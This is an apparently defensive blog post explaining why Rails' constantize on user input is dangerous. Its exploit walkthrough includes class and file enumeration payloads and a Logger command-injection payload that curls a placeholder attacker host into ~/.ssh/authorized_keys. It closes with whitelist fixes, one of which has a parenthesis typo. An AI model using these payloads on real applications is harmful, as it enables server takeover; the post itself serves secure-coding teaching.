The Safest Way to Constantize...

brakeman, rails, ruby, security

This post examines what the safest way to constantize is: which is NEVER. That’s right. If you have the constantize method anywhere within your Rails codebase you are asking for trouble!

This post looks at the most common usage of constantize, how constantize can be exploited, and a safe alternative to using it.

Common Constantize Usage

Basic radio select form for creating alerts

The most common pattern that I’ve seen across many codebases is a form that manages multiple selections (like the one above). Within that form’s controller code constantize is called on a param controlled by the user. Here’s an example:

1
2
3
4
5
6
7
8
9
class AlertsController < ApplicationController
  def create
    params[:alert][:type].constantize.new(params[:alert][:value])  # <-- bad code don't do this!

    # ... other work

    # render page
  end
end

Running brakeman over this code it is going to report a constantize RCE vulnerability like this:

1
2
3
4
5
6
7
8
9
10
11
12
+--------------+-----------------------------------------------------------------------------+
| Confidence   | High                                                                        |
+--------------+-----------------------------------------------------------------------------+
| Class        | AlertsController                                                            |
+--------------+-----------------------------------------------------------------------------+
| Method       | create                                                                      |
+--------------+-----------------------------------------------------------------------------+
| Warning Type | Remote Code Execution                                                       |
+--------------+-----------------------------------------------------------------------------+
| Message      | Unsafe reflection method constantize called with parameter value near       |
|              |   line 7: +params[:alert][:type].constantize.new(params[:alert][:value])>>  |
+--------------+-----------------------------------------------------------------------------+

What confused me when I first encounter this error was the Remote Code Execution warning type. Looking at that code, I found it hard to figure out how an attacker could trigger an exploit.

Pivoting Constantize into an Exploit

Let’s look at how an attacker can turn this into an exploit. There are a couple types of exploits that an attacker could trigger:

  • Reconnaissance
    • Application
    • Server
  • Command Injection (RCE)

The worst item in this list is Command Injection/RCE. In the event that a controller is filtering input and an RCE payload cannot be sent, Application and Server Reconnaissance may still be useful.

Reconnaissance (Application)

The first type of exploit is performing class enumeration to investigate what classes exist within an application.

Below is an example of an unsuccessful class discovery because the server returns a 500 error. The attacker knows that a SocialInsuranceNumber class does not exist.

1
2
3
4
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"SocialInsuranceNumber", "value"=>""}}  # <-- payload
Completed 500 Internal Server Error in 1ms (ActiveRecord: 0.0ms)         # <-- failed

However in this next example, since the server returns a 200 success message, the attacker knows that a CreditCard class exists.

1
2
3
4
5
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"CreditCard", "value"=>""}}  # <-- payload
  Rendered text template (0.0ms)
Completed 200 OK in 8ms (Views: 0.5ms | ActiveRecord: 1.9ms)  # <-- success

Obviously this technique is tedious by hand (less so with a script), and it would take a fair amount of time to enumerate an entire application. This type of exploit provides interesting visibility into the application’s data like Payments, Invoices, Social Insurance Numbers, Credit Cards, etc. and information about 3rd party code used within the app: Devise, Nokogiri, Puma, Stripe, etc. All this information helps an attacker evaluate what attack surfaces exist and whether the application is worth spending time hacking.

Reconnaissance (Server)

The second type of exploit, similar to application reconnaissance is server recon. This method uses a similar tactic by using the File class from the Ruby standard library and passing a filename. If the server returns a 500 error you know the file doesn’t exist:

1
2
3
4
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"File", "value"=>"floop-de-doop"}} # <-- does floop-de-doop exist?
Completed 500 Internal Server Error in 1ms (ActiveRecord: 0.0ms)    # <-- nope

And if you get a 200 you know the file exists:

1
2
3
4
5
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"File", "value"=>"/etc/passwd"}}  # <-- does /etc/passwd exist?
  Rendered text template (0.0ms)
Completed 200 OK in 1ms (Views: 0.4ms | ActiveRecord: 0.0ms)       # <-- success

This type of technique enables an attacker to determine information like what OS your app is running on, what type of database you’re using, or what other services are running on your machine. Again this creates a broader picture of the attack surface available against your app.

Command Injection

And the worst exploit for last: Getting an RCE. It’s actually easy to trigger an RCE in Rails using the Logger class. Here’s an example of getting the server to print the current date to console:

1
2
3
4
5
6
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {"alert"=>{"type"=>"Logger", "value"=>"|date"}}  # <-- Injected params
  Rendered text template (0.0ms)
Completed 200 OK in 3ms (Views: 0.7ms | ActiveRecord: 0.0ms)
Sun 25 Sep 2016 21:35:23 MDT                                   # <-- Ooops!

Date isn’t a “bad” command to have run on your server, but what about other parameters that you could inject:

1
2
3
4
5
6
7
8
9
10
Started POST "/alerts"
Processing by AlertsController#create as HTML
  Parameters: {
    "alert"=>{"type"=>"Logger",
    "value"=>"|curl http://attacker.url -o ~/.ssh/authorized_keys"}}    # <-- Injected params
  Rendered text template (0.0ms)
Completed 200 OK in 6ms (Views: 0.6ms | ActiveRecord: 0.0ms)
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current   # <-- Ouch!
                                 Dload  Upload   Total   Spent    Left  Speed
100   258  100   258    0     0   1280      0 --:--:-- --:--:-- --:--:--  1283

Seeing curl writing progress to your Rails logs with the string ~/.ssh/authorized_keys is not going to make for a good day. An attacker has now gained access to your box via your web server account. Hopefully it’s not running as root goberserk

Safe Alternatives

Having looked at what a constantize vulnerability is and having clearly demonstrated how that vulnerability can be exploited, it’s time to fix that code.

Usually there’s a good reason to have a dynamic form that will use user input to decide on what class to create. The simplest pattern that I’ve used and seen is to use the parameter string and do an array lookup. Here’s an example:

1
2
3
4
5
6
7
8
9
10
11
12
13
class AlertsController < ApplicationController
  def create
    constant = [InfoAlert, WarnAlert, ErrorAlert].find do |alert|
      alert.name == params[:alert][:type]
    end
    raise "Bad hacker!" if constant.nil?  # Fail hard on malicious input

    constant.new(params[:alert][:value])

    # ... other work
    # render page
  end
end

The benefit of the above code is that you’re no longer relying on user input to correctly define the type being instantiated. Instead you define the available types and assert that the user input conforms to those choices, or fail hard!

This method is the safest because it never even uses constantize and instead relies on whitelisting safe input.

Update Sept 28, 2016:

After this post made it’s way among a few sites, Paul Kwiatkowski suggested an alternative pattern to safely avoid constantize which I liked. Here’s his example code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Some file where a constant definition is appropriate.
ALERTS = {
  'info' => InfoAlert,
  'warn' => WarnAlert,
  'error' => ErrorAlert
}

class AlertsController < ApplicationController
  def create
    ALERTS.fetch(params[:alert][:type])).new(params[:alert][:value]))

    # ... other work
    # render page
  end
end

Paul mentions that this method is beneficial because the exception handling is done automatically when a lookup fails on fetch since it raises a KeyError. The other benefit that I saw in his pattern, is that it scales well when the number of options grows large.

Many thanks to Paul and a few others that commented on this post. I truly enjoy receiving feedback from others on how I can improve my code!

This page was delicately crafted on by Gavin Miller.